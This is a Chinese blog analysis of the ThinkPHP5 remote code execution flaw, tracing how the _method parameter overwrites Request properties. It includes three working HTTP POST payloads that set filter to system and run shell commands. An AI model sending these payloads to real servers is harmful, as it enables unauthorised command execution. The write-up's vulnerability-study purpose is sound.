ThinkPHP5 远程代码执行漏洞分析

栏目: PHP · 发布时间: 5年前

内容简介:消息刚刚曝出来的时候还以为自己能半天把漏洞给找出来,果然是太菜太年轻了,23333此次漏洞出现在ThinkPHP用于处理HTTP请求的Request类中,其中的method方法用于获取当前的请求类型。

前言

消息刚刚曝出来的时候还以为自己能半天把漏洞给找出来,果然是太菜太年轻了,23333

漏洞分析

漏洞点

此次漏洞出现在ThinkPHP用于处理HTTP请求的Request类中,其中的method方法用于获取当前的请求类型。

thinkphp/library/think/Request.php

ThinkPHP5 远程代码执行漏洞分析

var_method 为“表单伪装变量”,可在 application/config.php 中定义:

ThinkPHP5 远程代码执行漏洞分析

该变量用于请求类型的伪装,官方文档如下:

ThinkPHP5 远程代码执行漏洞分析

由于没有做任何过滤,我们可以通过控制 _method 参数的值来动态调用Request类中的任意方法,通过控制 $_POST 的值来向调用的方法传递参数。

来看一下Request类的构造方法:

thinkphp/library/think/Request.php

ThinkPHP5 远程代码执行漏洞分析

该方法将传入的数组进行遍历,如果数组的键名与类的属性名相同,就将对应的值赋给类属性。因此我们可以通过控制post参数来控制Request类的各种属性。

漏洞触发

漏洞点已经找到,那么如何来触发它呢?

5.0.0-5.0.12

payload:

POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&filter[]=system

ThinkPHP在解析路由的过程中会调用Request类的method方法:

thinkphp/library/think/Route.php

ThinkPHP5 远程代码执行漏洞分析

具体调用流程如下:

ThinkPHP5 远程代码执行漏洞分析

此时我们已将类属性成功赋值为我们可控的值,接下来ThinkPHP会处理请求的参数,调用流程如下:

ThinkPHP5 远程代码执行漏洞分析

由于我们之前覆盖了Request类的filer属性,该属性用来指定全局过滤函数,所以所有的http参数都会经过过滤函数。

thinkphp/library/think/Request.php

ThinkPHP5 远程代码执行漏洞分析

跟进filterValue函数:

ThinkPHP5 远程代码执行漏洞分析

可以看到在filterValue方法中调用了call_user_func成功执行了system函数。

5.0.13-5.0.23

在ThinkPHP 5.0.12之后的版本中,在 thinkphp/library/think/App.php 的module方法中增加了设置filter属性的代码:

ThinkPHP5 远程代码执行漏洞分析

这样一来我们之前设置的filter属性就会被重新覆盖为空,导致之前的payload失效,必须寻找新的触发点。

我们回看上面的调用过程,发现Request类中的param方法也调用了method方法:

ThinkPHP5 远程代码执行漏洞分析

ThinkPHP5 远程代码执行漏洞分析

当method参数为true时,会进入server方法,跟进看一下:

ThinkPHP5 远程代码执行漏洞分析

继续跟进input方法:

ThinkPHP5 远程代码执行漏洞分析

可以看出Request类的server属性是一个数组,并且是可控的,这里input方法将key为REQUEST_METHOD的成员取出来放入了filterValue方法。这里我们需要找到调用Request类的param方法的地方来触发漏洞。

开启了debug模式

如果debug模式开启,在 thinkphp/library/think/App.php 的run方法中会记录路由和请求信息,此处调用了param方法。

ThinkPHP5 远程代码执行漏洞分析

由于此时还没有执行到module方法,所以filter属性仍是我们设置的值,没有被重新赋值。

payload:

POST /tp5023/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

_method=__construct&filter[]=system&server[REQUEST_METHOD]=id

有直接路由到控制器类或者方法的路由规则

payload:

POST /tp5023/public/index.php/?s=captcha HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

根据前面的分析,我们知道之前的payload失效的原因是在 thinkphp/library/think/App.php 的module方法中增加了设置filter属性的代码,那么我们可不可以不执行module方法而执行其他方法呢?

thinkphp/library/think/App.php

ThinkPHP5 远程代码执行漏洞分析

可以看到exec方法通过 $dispatch['type'] 来决定调用哪个方法,在调用controller和method方法时都调用了Request类的param方法。现在来看一下 $dispatch 是从哪来的:

ThinkPHP5 远程代码执行漏洞分析

跟进routeCheck方法:

ThinkPHP5 远程代码执行漏洞分析

从配置文件中读取了路由配置后导入,然后进入了Route类的check方法。

thinkphp/library/think/Route.php

ThinkPHP5 远程代码执行漏洞分析

这里调用了我们熟悉的method方法,这里就是我们进行变量覆盖的地方,再来看一下method方法:

ThinkPHP5 远程代码执行漏洞分析

在我们覆盖了类属性之后,直接将method属性返回了。获取到method之后,会根据method的值到 self::$rule 中获取相应的路由规则。

ThinkPHP5 远程代码执行漏洞分析

由于ThinkPHP有自动加载机制,在运行时会自动加载 vendor 目录下的第三方库。加载过程如下:

ThinkPHP5 远程代码执行漏洞分析

其中ThinkPHP 完整版 中有一个验证码的第三方库,在被加载的时候会注册一条路由规则,当我们访问 http://xxx/captcha 时会路由到 \think\captcha\CaptchaController 的index方法。

vendor/topthink/think-captcha/src/helper.php

ThinkPHP5 远程代码执行漏洞分析

回到 thinkphp/library/think/Route.php

ThinkPHP会解析这条路由规则,解析过程如下:

ThinkPHP5 远程代码执行漏洞分析

ThinkPHP5 远程代码执行漏洞分析

由于这条规则是直接路由到控制器类的方法,所以type为method。

ThinkPHP5 远程代码执行漏洞分析

再回到 thinkphp/library/think/App.php 的exec方法,可以看到已经能够执行param方法,达到了rce的目的。

漏洞防御

thinkphp/library/think/Request.php

ThinkPHP5 远程代码执行漏洞分析


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

谷歌和亚马逊如何做产品

谷歌和亚马逊如何做产品

梅 (Chris Vander Mey) / 刘亦舟 / 人民邮电出版社 / 2014-6-1 / CNY 49.00

软件在交付之前,面临产品、方案、项目和工程管理等诸多挑战,如何做到游刃有余并打造出极致产品?本书作者曾任谷歌和亚马逊高级产品经理、现任Facebook产品经理,他将自己在达特茅斯学院钻研的理论知识和在领先的互联网公司十年的工作经验尽数总结在此,从定义产品开始,一步步指导你完成管理项目、迭代、发布、市场推广等交付流程,让你身临其境地体验到极致产品如何取得成功。 本书主要内容: 如何清晰定......一起来看看 《谷歌和亚马逊如何做产品》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

URL 编码/解码
URL 编码/解码

URL 编码/解码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换